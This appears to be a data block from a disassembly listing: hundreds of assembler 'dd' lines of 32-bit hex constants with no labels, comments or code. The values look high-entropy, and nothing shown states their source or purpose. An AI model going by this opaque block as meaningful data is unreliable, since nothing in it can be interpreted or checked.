dd 0FD38A8BBh, 305055Eh, 64EA0B25h, 0A5E0FB33h, 0AD540339h
dd 9F23C51h, 2AF8CED9h, 215678C5h, 81ACDBABh, 0F241A19Bh
dd 25217E88h, 0E4696801h, 206FD4E6h, 8BA1859Bh, 0C61ABE02h
dd 57468678h, 1F965280h, 600B2B38h, 4089BD29h, 24E480EEh
dd 12A161DCh, 2BC8F1F8h, 0FFD3CBDEh, 0D7819390h, 890E0068h
dd 0AAB0BF5Fh, 379E0791h, 94F98A89h, 0D47FBC0Dh, 0E2439A01h
dd 810FF53Ch, 39318149h, 7B822405h, 9DBCE017h, 0F6194A11h
dd 146AD719h, 8C0FCE05h, 9238B801h, 1D386AB7h, 4BC33E5Dh
dd 19B84FD9h, 27F87AB8h, 6805BA0h, 61AE108Bh, 5E8E4B0Ah
dd 0B08B26E9h, 5E16383h, 1D459362h, 8804BEA0h, 5B0421C1h
dd 0E092A6FCh, 1762301Eh, 1079134Ch, 0D791BED7h, 5579F589h
dd 0FF49D747h, 52E0F9CDh, 0F9C59D8h, 75C87411h, 916DE49h
dd 0F257A568h, 0B707A03Eh, 7536909h, 37181A59h, 0AB070101h
dd 896E0861h, 0C46E7A21h, 0D765B834h, 1EB88CBDh, 0F4B0D64Fh
dd 0B9169705h, 9D472B6h, 0E778DD73h, 0DBA56D7Bh, 620F5081h
dd 6FFEC104h, 5FECA27h, 55D1D1Ah, 0BE96FFACh, 60500602h
dd 3DF48D53h, 0C1615EC0h, 1DB811Eh, 0AC622A19h, 0E381108Eh
dd 354BA309h, 81637938h, 0A7F19DBFh, 88875B32h, 0F853C018h
dd 9601C8FFh, 9E8DEB81h, 0BA920D22h, 4F37F7DEh, 4B3FBEh
dd 390FD3F4h, 392C5B45h, 0B7128286h, 403AF35Fh, 224E79EFh
dd 8101BBE7h, 9ADA26C3h, 0FE012E08h, 2C559D01h, 4F8252Eh
dd 1231D5DCh, 5464CDB3h, 0ACE89409h, 2660CBB2h, 776F19F7h
dd 610740B5h, 19B6A4Fh, 6561FEC1h, 5E45940h, 1D2ABFFDh
dd 31371280h, 3913F192h, 2B0856C7h, 5FF98901h, 2080945Dh
dd 20B06160h, 6D576295h, 0AC9AE0FCh, 0B1A00286h, 3A972AC9h
dd 257C703Eh, 94C6EDB0h, 49858917h, 27B798C1h, 2C9A282Eh
dd 96E8B388h, 0BADA0D8Ah, 0B8586DABh, 0BB5B0264h, 5063EA1Ch
dd 91473557h, 7CCA801Ah, 2668DEE4h, 96795E8h, 0B27113A9h
dd 40E74D6Bh, 74081777h, 323C1101h, 898C41B3h, 50BDF96Fh
dd 0F392CD5Ch, 64A0CDBDh, 0B8F601Ch, 3E6A016Fh, 9E806394h
dd 2492860h, 9BB558CEh, 69D85C61h, 560097F1h, 8F6D35F1h
dd 54E14CE0h, 127FD904h, 0A2E2B8D0h, 71052968h, 0CC06560Ah
dd 2C4BDC16h, 0D87DCA9Dh, 0B01D7A8h, 93237C17h, 0BFC02694h
dd 1B7B3B83h, 0C0CF9E4Bh, 1FC5E3B9h, 9D291285h, 7312BBC9h
dd 87D4C6B2h, 0E90B407Ah, 0C5E1D54Ah, 0B7B88F7Dh, 954DDF03h
dd 909CEFB6h, 5D8B30E2h, 6EBD6AC1h, 0AD9E2EB9h, 0D7D1A057h
dd 0AD9AF48h, 295F31DBh, 0EB0E16E1h, 0C22E9ED9h, 7456904Bh
dd 0B90A5D40h, 0CD100DBh, 7F4C0E01h, 250E392Fh, 0EA08288Fh
dd 0C911B50h, 80C0CC1Fh, 41517807h, 7009D902h, 0FB6ABA7Eh
dd 0C65E7821h, 719E6402h, 4356EA03h, 5B0AB829h, 76C6BF6Ah
dd 3BD9CF00h, 0C4144334h, 29F10022h, 2D186079h, 192E25DBh
dd 0F90A800Eh, 9097F1Fh, 0F464FEEEh, 0A74DF539h, 943E10ECh
dd 7C4605A7h, 30E21640h, 6F0A03C2h, 0F0ECB312h, 6F4BF1B8h
dd 40770037h, 0A7FDD57Bh, 316025D9h, 5449C974h, 90616240h
dd 10D510CAh, 0A04B00h, 422F62A5h, 71DC20EEh, 1CF71100h
dd 0BBF48C64h, 4E9A0902h, 5AC15B4Bh, 2C61100Ch, 0D5DC1C64h
dd 411A1FA8h, 0B7C63317h, 0DF043F6Dh, 60BB6090h, 1B498DC7h
dd 0A061F880h, 4F7860DBh, 7B128C6Ah, 0F20EAFF6h, 2E41AECAh
dd 0E0FC012h, 71F71D32h, 0CC1348B8h, 847DB52Dh, 6FEF6AE1h
dd 0E56009AFh, 0A10102CAh, 2506DA1Ah, 3D7BBC58h, 31259D04h
dd 0F216B328h, 0B1DBD1FFh, 1B8CAE97h, 7FBB04B3h, 0B827A513h
dd 0D56AA2C5h, 0B69BA59Bh, 0BD5602CAh, 2B4F02DCh, 84504BDBh
dd 2CF96F60h, 250973A0h, 0DD789081h, 0F810A080h, 507C4312h
dd 0A781EBBh, 97647E3Fh, 83CC4042h, 4C4BF975h, 1324C38Eh
dd 0DF732DC5h, 2F9CF97Ah, 0EE76D290h, 0B05BCC78h, 4F1B47AEh
dd 0AA9590ABh, 0BD1233A4h, 0E4ED1929h, 0BD308112h, 0F0BBC046h
dd 486B404Eh, 2226F50h, 892EB327h, 8066B72Ah, 2038018Eh
dd 1D180806h, 2582DF05h, 0BA1C9723h, 5D4539Ch, 3DC087C2h
dd 912BC1F9h, 2040526h, 0BFB910C5h, 5A8C14E8h, 1EB00B0Ch
dd 2FA8C55Dh, 572DE835h, 56F6F803h, 6032CFA8h, 6A58ED79h
dd 45B509B5h, 0BFCDFF30h, 8A8B64E3h, 0C49B5CDFh, 8178273Eh
dd 224427Dh, 95582E1Eh, 801011E6h, 0E7B471E4h, 2E4F8A40h
dd 60F200FDh, 0B974501Bh, 0A1125D9Dh, 0D9F0D7F3h, 5BD925C3h
dd 106A9C8h, 0C02BB689h, 0BAEEA632h, 64A87EBFh, 582100Dh
dd 51271162h, 0D2B20FC5h, 0AE8DC600h, 0BB311E82h, 87FF5D01h
dd 0F3D4DDB7h, 5B253B6Ch, 0B1769CC2h, 89EC0365h, 3196F7CEh
dd 0DC5B30A0h, 13005865h, 195FC125h, 12C63A0h, 0F3DADFCEh
dd 60C82B46h, 4E1BD39h, 45AFF385h, 80D18BFDh, 4FDA28CDh
dd 7392E927h, 4F0A2E78h, 795EFA09h, 0A0F9516Bh, 58CF1299h
dd 2AC4E191h, 0B71B85E7h, 2B091A29h, 72CA49DFh, 332345B6h
dd 0F34A005Ch, 3CD26DB6h, 0CE120BC5h, 0CFEC0A5h, 9F04F508h
dd 97BEE9E9h, 0AC91843Dh, 0D18D9BCh, 0AA9CD7C6h, 14D51EC4h
dd 4EBEB352h, 5189C4B0h, 0EA206295h, 99CB1246h, 10C3E659h
dd 330B636Bh, 4B5FB19Dh, 0E15E71F8h, 0C890DB6Bh, 0BE5DC01Ah
dd 9717CEF4h, 0DC3075D6h, 902F20h, 482C4580h, 0D4FC016Ah
dd 0F1B9D00Bh, 0F4045E0Fh, 0E14DF31Fh, 3EAD5B03h, 0D68D92F5h
dd 0BFA740CCh, 0B0003349h, 9D08BD3h, 0B51F0585h, 0B093A2ECh
dd 3E409C58h, 0E6040BF6h, 0A8499D0Dh, 0FB4D8056h, 5B2256h
dd 1E08F1F3h, 7C58283Fh, 426E9203h, 2D2917F7h, 9A02488h
dd 69D6C381h, 893B2027h, 0F4A15427h, 37B1E300h, 0DA602B86h
dd 6A59241Eh
dd 1B3109A4h, 91631F77h, 7DFA8515h, 0DF4E7440h, 98C45Ah
dd 6AD4CE73h, 0A2C70555h, 12173105h, 0DCBC3278h, 3DDDD680h
dd 0C9032CB4h, 0F2EC95E3h, 0B037DB59h, 174A6968h, 15D9225h
dd 5F6AEA9Ah, 0DEDF6B5Bh, 6BC316C8h, 6EABFC03h, 61C01231h
dd 7B419409h, 99BB8188h, 6B36D675h, 8807EAD8h, 0A6E43429h
dd 0DE1CB112h, 233F6BEEh, 0DE280F1Bh, 8E138BC0h, 2BB1B55Ch
dd 4E86B081h, 2B2FB2A2h, 0B5890B88h, 0BD7B696Dh, 50CD926Eh
dd 0FD852AC9h, 70282F5Bh, 2A5CB572h, 0CA3F09F4h, 722BFCC9h
dd 2F45E5Ch, 3EB8ABEh, 87FE5CA4h, 9E9EC625h, 0ADE1128Fh
dd 907B826h, 67D780F9h, 0BC46BB79h, 0E223AD4Dh, 0CC5EAC13h
dd 4785AD51h, 53ED9D23h, 694504C3h, 0A3D2BCEBh, 942F5060h
dd 166778C1h, 81B1BD01h, 0E2C380A2h, 5F2DA35Eh, 0EA01A892h
dd 2F637CD7h, 7AFC8B09h, 0DEDC5E63h, 7D17C9CEh, 0B8D2682h
dd 61683A57h, 0B62EDB4Eh, 29950843h, 0E590171Ah, 6608AFB7h
dd 4E0483BDh, 0C043A804h, 0B371CD8h, 0D18100B7h, 67E84A7Ah
dd 83006AB2h, 1E0EF0Ah, 0B8906E9Ah, 8C3EF7C2h, 1C9E1733h
dd 760AC07Bh, 5B890968h, 21783991h, 8E7758F2h, 890F98BFh
dd 236D25BDh, 0BF0400EEh, 21483D87h, 0D6DFB8h, 2D63761Eh
dd 924E974h, 28F61C02h, 22B3E08Ah, 39EC2699h, 851EA4BDh
dd 0C80D8FBAh, 0C7C0CF1Dh, 10CD591Bh, 0ABB1AF1Dh, 25DFC6E5h
dd 0B0CD9AB7h, 0DCB5ADh, 0EF120C2Ch, 0BB0B8E38h, 224CBB0h
dd 0E186951h, 64D406C9h, 2B291612h, 35077823h, 922941C6h
dd 0F3DD4689h, 0DC5C70BCh, 0B0906D2Ah, 85102A42h, 0DDFC4A01h
dd 12C735C0h, 0F23953C8h, 0BE6080E6h, 66C01F74h, 270E63E9h
dd 0BFFD578Dh, 61C914A2h, 0CDF52B75h, 7D7BC0A8h, 0A54B07ABh
dd 0EFDBE85h, 0E05809ECh, 0C1853E03h, 29D6302Ah, 0C40FD95h
dd 3F460468h, 8151D704h, 215F57D4h, 87FC38D2h, 71D01E13h
dd 0FC603Dh, 53CAC985h, 0AEA27274h, 0E11CA94Fh, 0B9DAC0E5h
dd 291A25C4h, 0E350CCC5h, 66481298h, 0A1CE0CDBh, 0FC9190B1h
dd 4CD80BBh, 0EA781AB0h, 0A2E30060h, 0C5BCB975h, 503A3D92h
dd 0A79026B7h, 7378E209h, 181559DFh, 60D62D3Dh, 0D8799164h
dd 0E11F8100h, 0B8F6FF06h, 610D3131h, 0D6111D72h, 0C08AED57h
dd 1518F866h, 9233823Bh, 1F2FC7Ah, 0AC01B7C4h, 0FC3EA2D7h
dd 0CE01F68Ch, 0DF1934D9h, 0C27A233Fh, 0F70B1DE5h, 8F0F3968h
dd 0E03374BDh, 0B0F0492Ah, 0E7C8D625h, 310B5C01h, 5723358Dh
dd 5CE1726Dh, 8338DC8Dh, 44A15480h, 8700342Fh, 6E785ED2h
dd 539E128h, 0B08280D7h, 19DD8168h, 4ACE6B30h, 0E344C13Ah
dd 0F0F53629h, 223B066h, 0F2B5EB81h, 0CC57284Ah, 7E144546h
dd 6006CFCh, 0F36E26Dh, 991E7582h, 0BDC1DD68h, 232FC9D0h
dd 0F9B5742Eh, 2F9A8CFh, 84CEBBCDh, 2D5C5EEDh, 20AE5664h
dd 602458CCh, 5B2D1D1Ch, 98A2C665h, 0CA714DAEh, 115B9624h
dd 54EE0013h, 7B759478h, 5CA200C8h, 6906B3C9h, 290BCD68h
dd 87DB960Dh, 50105F0Ah, 77D759BFh, 0DB7BF955h, 9C5F8002h
dd 549FF7Fh, 93F4A973h, 40B064F5h, 65EF7568h, 495F6CEh
dd 5F090ABEh, 4902B873h, 3048F83Dh, 23E29D89h, 0A5405397h
dd 68569942h, 91FB5B2Dh, 0DE129ED9h, 686D6DE1h, 732738B8h
dd 0F4E1106Eh, 72190371h, 15695D55h, 22DE1EB0h, 4D960B97h
dd 0C0BBC123h, 1B0C5E1h, 0BF002D29h, 2A2542E0h, 81BBC628h
dd 2EEF989h, 0BD5CF7B7h, 0F96A3E6Dh, 6EFE5E46h, 6C61C13h
dd 2B0D5C84h, 0E112AFECh, 0D797B210h, 4DA099F6h, 0CCBF35BAh
dd 0A5B5106Bh, 0E050282Fh, 530EFE5Dh, 0D3A8006Eh, 87EFA7E3h
dd 68120027h, 0BB8AEE0Ch, 0ED0B56FCh, 247B9223h, 5F0B26E3h
dd 0BB0553D3h, 2ABA7B77h, 63E680DCh, 2AD7FDAh, 85D5D31Ah
dd 0BCC0FB8Bh, 0CE9532EDh, 18BF0469h, 0B8507C68h, 2C1EA2D2h
dd 941D1B6h, 76081891h, 84498C5Eh, 8BD90256h, 0D08DACD8h
dd 0CA6BF79Ah, 99EAA411h, 0BE302B5Fh, 52E18501h, 0F096FC18h
dd 0CE95220Ah, 0DC63BC44h, 0F126C0Ch, 880DFA2Eh, 0F6018160h
dd 6EDF515h, 1D5C8B8h, 282E61C5h, 32D6918Ch, 0BDBC37BDh
dd 9D700E1Ch, 720410D6h, 600216ADh, 7E52B52Bh, 0E4D18101h
dd 6159621Eh, 0A9B1742Eh, 464A868h, 0E9CB39EDh, 1895400Ch
dd 9E648h, 0F717BCA3h, 0C6BB6052h, 43A26FBFh, 0D4127808h
dd 0B5E31E71h, 0B82BA9D6h, 39B7EEEh, 9E067F6h, 0B8A4E9D5h
dd 39255AD2h, 520A6AFh, 800FC18Bh, 0C94AC5B2h, 22937C8Ah
dd 75029201h, 46071FAh, 0D98A5E51h, 0B811A561h, 601BA02Eh
dd 1BB145Fh, 60616B99h, 0E6FCB656h, 64951708h, 0C8F8F2AFh
dd 592DFB5Ch, 857BAD1Dh, 0B75F06BCh, 128E615Ah, 0AA1AF8BBh
dd 93004B6Fh, 83F79EB2h, 5905DB01h, 0BD23C60Dh, 17F1B2EFh
dd 0FAFCF1B7h, 385714DAh, 950775FEh, 60A11557h, 955CEE06h
dd 0D6EB0F04h, 0C1ACCD61h, 4BBD2BC7h, 44D184C9h, 0AAD9C5A4h
dd 0D574A738h, 0ABBC855Bh, 48E7A700h, 26A6FB7h, 228BB5F5h
dd 0D0E2504Dh, 39C61C5h, 0F8250773h, 1859745Bh, 42F85618h
dd 0E92534E0h, 8AD6780h, 467CFCC0h, 94F7001Dh, 0E20B0CAh
dd 93C0017Dh, 0A19D03A3h, 80A56D11h, 0DD428C2Ah, 9C802571h
dd 0DFCB006Dh, 0C63599C0h, 0A0B28B4Ah, 96879A92h, 5E6C80EBh
dd 0BBA1DEFFh, 5A5790h, 0CB344314h, 5012C81Bh, 58E19421h
dd 52C756C2h, 302804F7h, 4A5A1ACh, 0ADE65EC8h, 8C1DAC83h
dd 0AD88DD04h, 81EAC43Dh, 80F6DA31h, 6A69EF5Eh, 5ACB80FFh
dd 24E9E0D0h, 4A79B588h, 800C9E2Ah, 7243AA2Ah, 21AB2547h
dd 97EF916Ch, 48AC602Bh, 64D8A225h, 8CE7316Fh, 0BAB00261h
dd 0CC1201Bh, 0BD9D0195h, 0E30915F9h, 2985ADBCh, 0E3899DD3h
dd 4A895817h, 2E86C9F5h, 2BBE1CCh, 0C60194A4h, 0DC604955h
dd 889548B7h, 791CCB72h, 166C6425h, 0B1C82BFCh, 33D1FC72h
dd 8359D13h, 2291EC22h, 0ED9090E9h, 4C714485h, 8D4B2A90h
dd 69D29496h, 4A50C329h, 0BBBF660Dh, 0F2960EEDh, 0BF22138Dh
dd 20139C32h, 5FE9D1B7h, 68C119Fh, 84258913h, 0B6356E19h
dd 720309EFh, 3F163459h, 9500E8E7h, 79F363F5h, 6EB54B3Ah
dd 0B40B44F8h, 9B0054F6h, 6621085Ah, 623B7952h, 0E31D260h
dd 445B5107h, 615E2E32h, 128421A4h, 1052B6F5h, 0A140735Ch
dd 9544976Dh, 2F95CEC4h, 0A81DBD45h, 6AAE5BBFh, 61D84B45h
dd 0CAB505DAh, 163D0FF7h, 0B9E6F4B5h, 2312D45Ah, 970114A0h
dd 8B3BACD9h, 0E40EDF80h, 0EDE19563h, 0D22B002Ah, 0DD32580h
dd 0B7896047h, 0C03DCD32h, 6757D411h, 0C1AB4B4Ah, 2A84B359h
dd 0DBEB4756h, 107804Ch, 0B5311985h, 0F9F793BAh, 9ABB84B1h
dd 0D362A9E4h, 4C057F6Bh, 1763320Ch, 10895E5h, 0DB80DAA5h
dd 9CF23B6Bh, 48C18ECh, 34E42269h, 0B2B23Ah, 15C5912Dh
dd 0B4C8ADh, 72E0AA49h, 0D6748776h, 9398E40Ch, 9AE5ACBBh
dd 9B5B4ACCh, 0F576842Dh, 8CA2A9A8h, 0F8AA5624h, 0F8A8920Ah
dd 0E1D7A6D2h, 0B6915C2Dh, 7EA75AF5h, 83A19A4Ah, 0F0BB5B6Ah
dd 0B1E4AF3h, 0E1FF5A24h, 3C701F5Bh, 18B29F8Bh, 210FF2A4h
dd 0CE6A0AFDh, 95C522A3h, 0FB47E8C0h, 2FAB1495h, 9BDB04CEh
dd 25C1D0h, 2B235447h, 0B70FE2AFh, 0C78AD84Ah, 0E6666534h
dd 4F14F038h, 0A82F0C88h, 27CCEB7Ah, 3B5EB9ECh, 9DD330FAh
dd 60810725h, 0AC57E97Bh
dd 3D9D01D9h, 258D47F4h, 11132B9Bh, 8A17012h, 0BAC2685Bh
dd 2556DE8Bh, 0F6017A88h, 0EDF85A2Fh, 63186496h, 0AAFAC0B7h
dd 9C5750F3h, 5B4FC0F1h, 0B9AD87BFh, 1BE6205Ah, 60301BB2h
dd 0BB474CAh, 14893FC5h, 0CC0154F9h, 84CBD04Fh, 2728D6CCh
dd 176490B9h, 4791FF03h, 0D02A9280h, 2FA672B0h, 9110A774h
dd 9A048212h, 5F57C021h, 0BF0509E2h, 0A85D102Ch, 0DF166070h
dd 0BA49768h, 5250E522h, 310F7C82h, 4D00AE71h, 0E886E2DDh
dd 5B6C5CF3h, 0D7A7DB02h, 0C5F8585Ah, 0FC5F6802h, 7796B31Ah
dd 1B64176Dh, 0D7D15460h, 0A16AE805h, 69A57902h, 6F93F378h
dd 0C0FF007Ah, 0BB5A8405h, 79312DACh, 44EA25E4h, 0EC70B700h
dd 55745CFFh, 0F14505EFh, 12890FCAh, 4A02EC34h, 1B88C39Ah
dd 4662B2C0h, 3AA90041h, 9D09F09Bh, 1851ED9h, 0AEB28ABFh
dd 0A5757053h, 88B71E4Ah, 0B4B54A7Ch, 884A0FEAh, 0B3A8FE24h
dd 1E293h, 6B5D8F80h, 10FABEh, 625AF5F2h, 4594885Eh, 0EE53449Fh
dd 8C2F00CCh, 0B2BF5FD1h, 0F764B3Eh, 29C75B95h, 3600B856h
dd 72D9E49Dh, 0B5133415h, 0BF8C0689h, 0EDBD122Bh, 92EDE224h
dd 0F30235D9h, 8D82D546h, 2451E969h, 407EB70Eh, 0C01BF07Ah
dd 0B2604B50h, 69720F78h, 2F900DCh, 3AB24161h, 5BA460B4h
dd 7DE46088h, 873EC32Eh, 9DDECABBh, 22EFB3C7h, 0C62266Ch
dd 355AA8D7h, 0AF92080h, 9573CB3Dh, 0BDDFAE89h, 53D807Eh
dd 2B8CC93Fh, 4B402649h, 3C5B4AE0h, 0D11F68DEh, 0C7E814ECh
dd 55524A80h, 0F00AFC3Dh, 0A703B5ADh, 5C32E91Ah, 0D248024Ah
dd 0E7F30FF3h, 1CA07270h, 0A5BD0982h, 0C052BC89h, 1DF47E96h
dd 5C1CF8DAh, 0E34B127Fh, 0BD010420h, 500C07A5h, 0E197F5CAh
dd 616624F1h, 0B0CBBCF0h, 6982BB05h, 0FE97B90Ch, 5DCA5F34h
dd 0FE3FFF5Eh, 0DB614B17h, 0AB18060h, 0B5587B65h, 942F59C7h
dd 0E14C70CEh, 0B8D9FD6Fh, 0F16C0174h, 9A0E27F3h, 96F53FA5h
dd 106EFA2Ah, 0C980640Bh, 134A5BD0h, 1BACDB3h, 7861D381h
dd 46F52FFh, 0ACE3D164h, 0EA0DA296h, 80E3B7D0h, 0BB2D78F3h
dd 0EF06CB69h, 1C0D9D31h, 5FB8985Eh, 5BDF4ABDh, 3D058F4h
dd 19F02381h, 0EB27BE1Ch, 2C4AF950h, 0E4C64B7h, 0AE16CD12h
dd 1D23156Fh, 0F8367500h, 0F08B19C8h, 2BDC2672h, 250D0802h
dd 0A7535325h, 7840C0EDh, 33E6F9Fh, 0D27B6747h, 0C4279BAAh
dd 49C0D9B1h, 224000D8h, 0C24E05BBh, 0BE966A42h, 0DB43B51Eh
dd 0CD5961FDh, 0E3819560h, 545C16AFh, 0D2B7AD76h, 0A500246Bh
dd 69BE009h, 61059281h, 22A1BD23h, 7338B829h, 9D7D0D80h
dd 7F02D4B9h, 0B393D0E7h, 60CA5630h, 490EEF81h, 27789F23h
dd 4E701DDBh, 878A1462h, 913A4D8h, 2BCB9C33h, 3413DB8h
dd 89F1032Ah, 0ABEC81BDh, 0DB715E27h, 7ED9E967h, 0A89B7E19h
dd 7F7D67C0h, 26F0CDD6h, 4DBB6609h, 2FC259DFh, 39E1B75Dh
dd 0C6163C09h, 0C3C9A806h, 8C014AD5h, 4F6D1EF5h, 50DFA72Dh
dd 5189082Fh, 3322BA2Ah, 5C37E25Bh, 0C59C40BCh, 613FC232h
dd 8EE80081h, 771F67EBh, 8D011DFDh, 9B0BEF2Fh, 95D3412h
dd 0D6605C1Fh, 0F24B1946h, 5008277Ch, 0DD1F4AA7h, 3CCD6A98h
dd 9206AC7Eh, 0EE929FA2h, 0E1DBC352h, 21D99581h, 52E39A50h
dd 0C5F9DD52h, 79B95B44h, 7C8C1DACh, 3A5003D4h, 807909ECh
dd 5E074C2h, 9A95E2F6h, 358A02B8h, 4BB75501h, 0EF9C1491h
dd 7C1792DFh, 0A3284017h, 0E54A914Dh, 7ABBDED5h, 0C8860989h
dd 35678247h, 8DC50E14h, 2AB7B1D5h, 947BD629h, 0B815ADCAh
dd 3A161228h, 0DEEDC872h, 25E4D900h, 844AEECCh, 3AFB12F1h
dd 0AC82ADE5h, 217E8C18h, 0B70A9B12h, 0FC1CD488h, 8A5A014Dh
dd 701E336Fh, 47042B0Dh, 7E5C063Dh, 2DD9BD9Ch, 2DC6C069h
dd 0BC7EE9B5h, 0B0E40434h, 4D84CC3Ah, 0CCAE7E17h, 95E9D1Ah
dd 61BDA790h, 90DDF01h, 0FF590C5Dh, 0D59531E2h, 83E948E8h
dd 5E28995h, 39F1E103h, 0DCF66Ah, 0E419EB38h, 0BF765565h
dd 6869E3F4h, 2609745h, 0FCDE1096h, 0FE551F6Bh, 0B290935Bh
dd 0FAF200B8h, 18C913DCh, 221004Ch, 8BC744F9h, 791F8A74h
dd 0ECB0B43h, 0DC401A50h, 0B270E091h, 0ED95908Dh, 5312C040h
dd 504B3ADCh, 0BF8326B0h, 0CD5FA5C6h, 0ABE56125h, 73F968A5h
dd 0E78010B0h, 0BB85A00Ah, 6F2AED0Bh, 2B0E000Bh, 0E8E9B428h
dd 570A971Ch, 34142CA6h, 1830AB6Ch, 70B1B2h, 0CDADD806h
dd 2B4C1A1Ch, 9FB46601h, 501315CBh, 2D08D091h, 252BC651h
dd 337905Bh, 54517500h, 5A7DBAC5h, 56D30ED4h, 3050748Dh
dd 0CA76D285h, 8B72B7BFh, 0ECD7F892h, 119D3879h, 52362BC5h
dd 4EE3007Eh, 0D1FF1234h, 4B12DDBBh, 51E26BB3h, 8B822888h
dd 0FC026AD9h, 982A0968h, 0B3F9C960h, 2CB50188h, 52AF230Dh
dd 9F008F59h, 0DE013CAEh, 9765FEA3h, 0C548051Ch, 36DB4A06h
dd 0A8DC29C0h, 0AD989201h, 0D332D125h, 80F4D285h, 555978E7h
dd 2BA102B5h, 7DBD2A80h, 183B4Dh, 0BCB760FEh, 9082D380h
dd 3540AC9Eh, 1E0CFAC2h, 0C440F560h, 0BF905075h, 0AE00FA6Eh
dd 7BE6ED6h, 3409BB1Eh, 7322623Eh, 15912719h, 32AD7BEEh
dd 8011521Ch, 0FA5178Ah, 9095FA7Bh, 0FE3F9D76h, 167A0455h
dd 0B85B9624h, 0A4B9D235h, 7B0033BCh, 3CD4881Eh, 1731F867h
dd 0BA1BF18Dh, 0D892859Bh, 292DAFD2h, 244C52B5h, 0DE33FF6Ah
dd 8654995Eh, 0E75C7A82h, 1DC9163Ah, 358E60AEh, 0C500AF24h
dd 0D0754363h, 2832BD71h, 2BD52EAh, 766A5761h, 49D58D29h
dd 612E5BF5h, 501266Bh, 84FDE70Ah, 6012B09Ch, 9896E8BCh
dd 0F4018029h, 0E6615EA2h, 162EF870h, 4FFCB868h, 0F9229AF3h
dd 997DFFCh, 0FE31E26Ah, 0A43DC5F2h, 890BC1DDh, 0D70D2DB5h
dd 8F0F9448h, 0FB2F0A6Bh, 4CBF0082h, 0A1BD2BFAh, 7989064Bh
dd 0F875FA20h, 93A6C8h, 2F3220E4h, 0DC62A012h, 481EBB00h
dd 24E29B3Ch, 0E4A7FFA2h, 0F2893F8h, 45905089h, 7C46B102h
dd 0A291E97Dh, 201E795Bh, 554C5085h, 71F8B5B8h, 0AC91568Ah
dd 0E9542732h, 2C6DBDC1h, 838A36Eh, 0CB1A759Dh, 0C4602D69h
dd 0DA9FB523h, 51BA00C1h, 616C1907h, 0E9E6D38Bh, 0F52D4655h
dd 0A5722E04h, 238BD560h, 0E702B1D1h, 5C61AB36h, 492444ADh
dd 0CC3D0FBFh, 97D9BA5Dh, 3C09A933h, 880AE9C3h, 0BB017B7Dh
dd 7557BC74h, 3092612Eh, 0D1BD1084h, 0F5258C24h, 0A78CC510h
dd 0A740A36Dh, 97A3B9FBh, 0A902821Ah, 0B3032AD5h, 5EBDCD63h
dd 1F01E4B8h, 80185DEAh, 886ED27Dh, 4703FD26h, 0B686683Ch
dd 7F4F09Ah, 80AE9960h, 7F1EC877h, 5C1371C1h, 8BE30EA6h
dd 0D8A8A84Ah, 81228D18h, 0AB0B45BAh, 5415E30Bh, 36DFF17Ch
dd 0D284F0D7h, 2D02398Dh, 0CE80F3C9h, 4436A995h, 0EF843A5Bh
dd 0B5611A8Ch, 19529FFBh, 0BA2BCA3Bh, 0C5FDA253h, 258C15ACh
dd 0F1CD91CBh, 45601D64h, 0AD2FEE19h, 0B284FD13h, 0ADEBB862h
dd 88084520h, 0BA026660h, 0E58A0DCDh, 0DC73F661h, 12ABB0B0h
dd 0FA921DECh, 5188C2E2h, 30ED2AB1h, 41DB996Ah, 2E2679ADh
dd 1B23A36Fh, 0A3110507h, 0BDA7D1D0h, 0FD74D2D8h, 11B35BCBh
dd 1FE1FF13h, 0E82FD7DCh, 87B292FBh, 0ED03D784h, 0AAB48366h
dd 4DD4E0ADh, 8A904B2Ch, 35D8368Fh, 0BDF57060h, 86223516h
dd 6FB7958Fh, 1892EE00h, 197FACFh, 9B3FBF22h, 886074D4h
dd 326A1F2h, 0D8BB6657h, 4B5C5BEAh, 0E2DEEC26h, 0CA7A0B51h
dd 0E80501A6h
dd 0E995A431h, 75B1D5D2h, 0EAF23F66h, 0E7490277h, 0B8785C26h
dd 0B0035643h, 4689D92h, 0EC6290A1h, 51910911h, 8D8940B6h
dd 65B50715h, 43CDAD24h, 0AD0AFF43h, 0BB0408ACh, 0A2907965h
dd 0F0007E20h, 92C12E0Bh, 3B8E9AA1h, 0CE0A1CC5h, 1D59E25h
dd 5B5FFB8Bh, 4C122E50h, 0E281EBCh, 68F50049h, 1994D50Ch
dd 29E7850Fh, 0E297C052h, 0A083C8h, 0CBB5E5ADh, 0DF8562EBh
dd 3F9F0B2Eh, 5F940E04h, 0F3057AA8h, 4198BD6h, 0AA1AB18Fh
dd 5CFCBE72h, 86516930h, 0D629C400h, 90D0F47h, 15850957h
dd 0E9BEFBACh, 5E01AB27h, 2C01F448h, 0A549F931h, 172BB781h
dd 0C0A4DEFEh, 4D2F93ECh, 37643365h, 0B984FDECh, 48B6D01Bh
dd 0DCFD4BA9h, 0AAF88AC5h, 0E2977A2Ah, 8783058Ah, 8316E0FBh
dd 645527BFh, 0B8E0B906h, 3DA40902h, 0B483AA75h, 58124D35h
dd 2DAB1D09h, 0A83C2981h, 0CFE2029Ch, 40177FC4h, 74019C79h
dd 6AAD0FE7h, 12238BD4h, 0E8602510h, 0F0E28049h, 0BCD393h
dd 40CF3EA7h, 0AFE8C2E3h, 19EFF902h, 892C6250h, 10AA84DEh
dd 75705B09h, 1CE7964Bh, 0E0680616h, 215A619Ah, 4AEDA8A0h
dd 0B570AC22h, 0A7A8BFBDh, 607D6E00h, 8E80F33Ch, 57F89DD3h
dd 74681640h, 0DB3F258Fh, 2170ECE0h, 0F54ADF74h, 9EFAF2D4h
dd 68029C5Ch, 0F5B84A2Ah, 0FC567462h, 4C50DE63h, 0CB564C16h
dd 6560611Ch, 1C008959h, 0F4D7CD56h, 0B5B10931h, 7855DE7Fh
dd 13F298B6h, 1F616288h, 43219A75h, 1C1867D7h, 0AD672588h
dd 7BEA3892h, 66007CC5h, 204A22DFh, 465ED18h, 0CDBD01C4h
dd 23E9052Bh, 2834304h, 0AAD98B45h, 0BAA4663Bh, 4C82F49Ah
dd 0A043DF28h, 0AAD8259Fh, 0CA1E871h, 1C538E2Ah, 7D25041Fh
dd 67C068CDh, 47E6F5Fh, 9D0BC83Fh, 0B3FB506Dh, 4E5B49EBh
dd 890066BCh, 7241217Dh, 29F4AFADh, 0BEF8E0Fh, 49E5E0B7h
dd 0E13BD051h, 18FC7054h, 0AD5D45B5h, 8201D5B5h, 0E691DC40h
dd 295B322Bh, 2B2B9B41h, 6A6AEE2Dh, 31DC070Ch, 94C85D95h
dd 962C2EBDh, 0CF3305D5h, 1B2F250h, 3D08260Ch, 965B9671h
dd 0E02A4CBh, 7541EADh, 10C550E4h, 975B14F4h, 1A910535h
